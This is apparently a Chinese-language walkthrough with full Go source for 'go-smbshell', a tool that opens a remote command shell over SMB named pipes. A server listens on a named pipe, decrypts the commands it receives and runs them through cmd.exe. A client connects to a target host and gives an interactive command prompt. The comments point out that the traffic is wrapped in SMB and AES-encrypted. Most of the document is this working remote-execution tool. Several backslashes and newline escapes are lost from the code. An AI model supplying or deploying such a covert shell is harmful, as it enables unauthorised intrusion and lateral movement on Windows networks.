使用命名管道通讯的命令执行工具

[System.IO.Directory]::GetFiles("\.\pipe\")

Get-ChildItem \.pipe

file://.//pipe//

1.创建命名管道 －－> 2.连接命名管道 －－> 3.读写命名管道

\.pipePipeName

https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipe-open-modes

https://github.com/neox41/go-smbshell

- agent    - agent.go   #定义了两个方法,一个是Connect用来连接服务器                    Command用来连接成功之后进行命令执行。

- cmd    - client        - main.go  # 客户端入口    - server        - main.go  # 服务端入口
- config    - config.go  # 定义了aes加密的key 和 PipeName
- exec     - command.go  # 用来执行命令，调用os/exec来执行系统命令
- listener     - smb.go   # 实现了服务端进行命名管道监听
- transport     - communication.go # 实现了AES加密,传入msg和key即可
- vendor    - github.com        - mervick            - aes-everywhere    - gopkg.in        - natefinch            - npip.v2    #这个是实现了pipe通讯的包

package config

// 定义PipeName 为 gopipeconst (   PipeName = "gopipe")



//这个是定义aes的keyvar (   Key string)

https://github.com/mervick/aes-everywhere

import "github.com/mervick/aes-everywhere/go/aes256"

// encryptionencrypted := aes256.Encrypt("TEXT", "PASSWORD")

// decryptiondecrypted := aes256.Decrypt(encrypted, "PASSWORD")

package transport

import (   "go-smbshell/config"

   "github.com/mervick/aes-everywhere/go/aes256")

// 对传输的流量进行AES加密，这个方法是调用aes-everywhere来调用 aes256 加密，传入message和key即可func Decoder(encodedMessage string) (cleartextMessage string) {   cleartextMessage = aes256.Decrypt(encodedMessage, config.Key)   return}

func Encoder(cleartextMessage string) (encodedMessage string) {   encodedMessage = aes256.Encrypt(cleartextMessage, config.Key)   return}

package exec

import (   "os/exec")

// 定义 Shell执行命令，连接成功之后就可以调用这个方法来执行命令func Shell(args string) string {   cmd := exec.Command("cmd.exe", "/c", args)   out, err := cmd.CombinedOutput()   if err != nil {      return err.Error()   }   return string(out)}

https://github.com/natefinch/npipe

npipe.Listen(`\.pipemypipename`)

ln, err := npipe.Listen(`\.pipemypipename`)if err != nil {    // handle error}for {    conn, err := ln.Accept()    if err != nil {        // handle error        continue    }    go handleConnection(conn)}

package listener

import (   "bufio"   "fmt"   "log"   "net"   "strings"

   "go-smbshell/config"   "go-smbshell/exec"   "go-smbshell/transport"

   "gopkg.in/natefinch/npipe.v2")

//开始监听pipe，这里只要加入PipeName即可,接下来的操作就和网络编程差不多了func Start() error {   ln, err := npipe.Listen(fmt.Sprintf("\\.\pipe\%s", config.PipeName))   if err != nil {      return err   }   for {      log.Println("Wait for client...")      //使用pipe的Listen来进行监听并且等待客户端连接      conn, err := ln.Accept()      //如果连接不成功的话就会continue等待下一个连接      if err != nil {         log.Println(err.Error())         continue      }      defer ln.Close()      log.Println("Agent connected")      //连接成功之后就go一个匿名的协程来对客户端的反馈进行操作      go func() {         defer conn.Close()         for {            r := bufio.NewReader(conn)            commandE, err := r.ReadString('n')            if err != nil {               continue            }            //介绍到客户端的请求数据并且对其进行解密            command := transport.Decoder(commandE)            log.Println(fmt.Sprintf("Asked to run: %s", command))            //如果命令是close的话就会推出程序            if command == "close" {               break            }            //TrimSpace函数删除了Unicode定义的所有前和尾空格            command = strings.TrimSpace(command)            //对客户端返回回来的命令进行解密和处理之后在go一个协程来对其命令进行执行操作。            go func(conn net.Conn) {               output := exec.Shell(command)               //对服务器返回的命令执行结果进行加密,在放到conn里面进行发送               if _, err := fmt.Fprintln(conn, transport.Encoder(fmt.Sprintf("Output for %s:n%s", command, output))); err != nil {                  log.Println(err.Error())               }            }(conn)         }      }()   }   return nil}

npipe.Dial(fmt.Sprintf("\\%s\pipe\%s", target, config.PipeName))

package agent

import (   "bufio"   "fmt"   "go-smbshell/config"   "go-smbshell/transport"   "net"

   "gopkg.in/natefinch/npipe.v2")

var (   Conn     net.Conn   PipeName string   Target   string)

//使用 npipe 来进行连接通讯，流量都包裹在smb流量中，并且进行aes256加密func Connect(target string) error {   var err error   // 连接方法就是 \\target\pipe\config.PipeName   // 例如\\192.168.1.110\pipe\config.PipeName,这个就是里面smb流量连接192.168.1.110   Conn, err = npipe.Dial(fmt.Sprintf("\\%s\pipe\%s", target, config.PipeName))   if err != nil {      return err   }   PipeName, Target = config.PipeName, target   return nil}



func Command(command string) {   //利用Fprintln将加密之后的command放入到Conn中   if _, err := fmt.Fprintln(Conn, transport.Encoder(command)); err != nil {      fmt.Println(err.Error())      return   }   //从连接中获取数据，并且放入到output中。由于output是进行加密的，然后在进行解密即可。   r := bufio.NewReader(Conn)   output, err := r.ReadString('n')   if err != nil {      fmt.Println(err.Error())      return   }   fmt.Println(transport.Decoder(output))}

reader := bufio.NewReader(os.Stdin)

package main

import (   "bufio"   "fmt"   "log"   "os"   "strings"

   "go-smbshell/agent"   "go-smbshell/config")

func main() {   if len(os.Args) < 3 {      fmt.Println(fmt.Sprintf("Usage: %s", os.Args[0]))      os.Exit(1)   }   target := os.Args[1]   config.Key = os.Args[2]   if err := agent.Connect(os.Args[1]); err != nil {      log.Panic(err)   }   log.Println(fmt.Sprintf("Connected to %s", target))   reader := bufio.NewReader(os.Stdin)   for {      fmt.Print("cmd >> ")      userInput, _ := reader.ReadString('n')      userInput = strings.TrimSpace(strings.Replace(userInput, "n", "", -1))      if len(userInput) <= 1 {         continue      }      if userInput == "exit" {         os.Exit(1)      }      agent.Command(userInput)   }}

package main

import (   "fmt"   "log"   "os"

   "go-smbshell/config"   "go-smbshell/listener")

func main() {   if len(os.Args) < 2 {      fmt.Println(fmt.Sprintf("Usage: %s", os.Args[0]))      os.Exit(1)   }   config.Key = os.Args[1]   log.Println("Starting the listener...")   if err := listener.Start(); err != nil {      log.Panic(err)   }}